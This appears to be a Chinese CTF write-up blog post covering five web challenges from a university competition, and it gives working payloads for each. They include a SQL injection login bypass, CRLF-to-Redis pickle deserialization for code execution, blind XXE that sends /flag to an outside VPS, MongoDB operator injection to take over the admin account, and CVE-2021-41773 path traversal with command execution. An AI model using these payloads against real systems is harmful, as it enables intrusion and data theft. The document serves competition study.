高校運維賽WEB部分-gxngxngxn

gxngxngxn發表於2024-05-07

高校運維賽WEB部分-gxngxngxn

phpsql

利用萬能密碼登入

admin/""="a'='a

登入進後臺後得到flag

pyssrf

訪問/source可以得到原始碼

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)


@app.route('/')
def hello():
    url = request.args.get("url")
    return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
    <h2>Here is your result</h2>
    <h3>source code in /source</h3>
    %s
    ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')
def source():
    return 

我們可以看到這裡會將我們輸入的urlmd5加密後存入redis中,然後從redis中獲取對應的鍵值,如果存在就將這個值pickle反序列化,那麼思路很明確了,我們如果能控制對應的值就行

urllib.request.urlopen我們看到存在這麼一個函式來對url進行處理,那麼這個函式有個漏洞CVE-2019-9947,可以實現crlf

所以我們就可以利用crlf來實現對redis鍵值的自定義

先傳送?url=127.0.0.1:6379,拿到他的md5加密值:cbdecc92165b29374b6b62cca016d4f8

然後利用crlf來實現賦值

import os
from requests import Request, Session
import pickle
import base64
from flask import render_template
class A():
    def __reduce__(self):
        return (exec, ("raise Exception(__import__('os').popen('cat /flag').read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

這裡不出網,但是開啟了debug模式,就直接利用debug的報錯就行。

payload:

?url=127.0.0.1:6379?%0D%0Aset%20%22cbdecc92165b29374b6b62cca016d4f8%22%20%22gASVVwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw7cmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSmUhZRSlC4=%22%0D%0Apadding

fileit

xxe無回顯外帶

POST / HTTP/1.1
Host: prob12-azy7prmt.contest.pku.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: anticheat_canary=hyejvkeqrj
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/xml
Content-Length: 180

<!DOCTYPE root[
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
	<!ENTITY % dtd SYSTEM "http://81.70.252.29/1.dtd">
	%dtd;
	%all;
	%send;
]>

在vps上放一個1.dtd檔案

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://81.70.252.29/?f=%file;'>">

發包以後看日誌,成功接收到flag

base64解密即可

Messy Mongo

import { Hono } from 'https://deno.land/x/hono@v4.3.0/mod.ts'
import { serveStatic, jwt } from 'https://deno.land/x/hono@v4.3.0/middleware.ts'
import { sign } from 'https://deno.land/x/hono@v4.3.0/utils/jwt/jwt.ts'
import { MongoClient } from 'npm:mongodb@6.6.0'
import { randomBytes } from 'node:crypto'
import assert from 'node:assert'

function createToken(length: number) {
  return randomBytes(length).toString('hex')
}

const secret = createToken(32)

const client = new MongoClient('mongodb://127.0.0.1:27017')
await client.connect()
const db = client.db('messy')

interface User {
  _id: string
  username: string
  password: string
}
const users = db.collection<User>('users')

interface Todo {
  _id: string
  user: string
  title: string
  completed: boolean
}
const todos = db.collection<Todo>('todos')

const app = new Hono()

app.use('/', serveStatic({ root: './static' }))

app.post('/api/login', async (c) => {
  const { username, password } = await c.req.json()
  assert(typeof username === 'string')
  assert(typeof password === 'string')
  const user = await users.findOne({ username, password })
  assert(user)
  const token = await sign({ user: user.username }, secret)
  return c.json({ token })
})

app.use('/api/*', jwt({ secret }))

app.patch('/api/login', async (c) => {
  const { user } = c.get('jwtPayload')
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})

app.get('/api/todo', async (c) => {
  const { user } = c.get('jwtPayload')
  const list = await todos.find({ user }).toArray()
  return c.json(list)
})

app.post('/api/todo', async (c) => {
  const { user } = c.get('jwtPayload')
  const { title } = await c.req.json()
  assert(typeof title === 'string')
  await todos.insertOne({ _id: createToken(16), user, title, completed: false })
  return c.json(0)
})

app.get('/api/todo/:id', async (c) => {
  const { user } = c.get('jwtPayload')
  const todo = await todos.findOne({ _id: c.req.param('id'), user })
  return c.json(todo)
})

app.patch('/api/todo/:id', async (c) => {
  const { user } = c.get('jwtPayload')
  const delta = await c.req.json()
  assert(!('_id' in delta))
  assert(!('user' in delta))
  const { matchedCount } = await todos.updateOne({ _id: c.req.param('id'), user }, [
    { $set: delta }
  ])
  assert(matchedCount)
  return c.json(0)
})

app.delete('/api/todo/:id', async (c) => {
  const { user } = c.get('jwtPayload')
  const { deletedCount } = await todos.deleteOne({
    _id: c.req.param('id'),
    user
  })
  assert(deletedCount)
  return c.json(0)
})

Deno.serve({ hostname: '0.0.0.0', port: 1898 }, app.fetch)

一眼MongoDB框架,進行程式碼審計

看到這段邏輯這裡驗證了jwtPayload的值,而且獲取username,但是沒驗證password,有很明顯的注入點,我們抓個包看看

app.patch('/api/login', async (c) => {
  const { user } = c.get('jwtPayload')
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})

先獲取token值

帶上token以PATCH的形式訪問/api/login

成功修改使用者名稱,那麼現在只需要我們修改使用者名稱為admin就行,但是這裡限制了不能直接寫admin,我們需要運用MongoDB的運算子來操作

運用字串擷取:

{"username":{"$substr":["gxnadmin",3,5]}}

成功修改為admin,登入即可得到flag

Apache

CVE-2021-41773 Apache HTTP Server 路徑穿越

import urllib.parse

data = """POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

echo; cat /flag"""
url_encoded_data = urllib.parse.quote(data)

print(url_encoded_data.replace('/','%2f'))

找個資料包,url加密後直接傳

POST /nc HTTP/1.1
Host: prob01-f3fqw8p3.contest.pku.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: anticheat_canary=hyejvkeqrj
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 768

port=80&data=POST%20%2Fcgi-bin%2F.%252e%2F.%252e%2F.%252e%2F.%252e%2Fbin%2Fsh%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Length%3A%207%0APragma%3A%20no-cache%0ACache-Control%3A%20no-cache%0AUpgrade-Insecure-Requests%3A%201%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AUser-Agent%3A%20Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F124.0.0.0%20Safari%2F537.36%0AAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Favif%2Cimage%2Fwebp%2Cimage%2Fapng%2C*%2F*%3Bq%3D0.8%2Capplication%2Fsigned-exchange%3Bv%3Db3%3Bq%3D0.7%0AAccept-Encoding%3A%20gzip%2C%20deflate%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%0AConnection%3A%20close%0A%0Aecho%3Bid

相關文章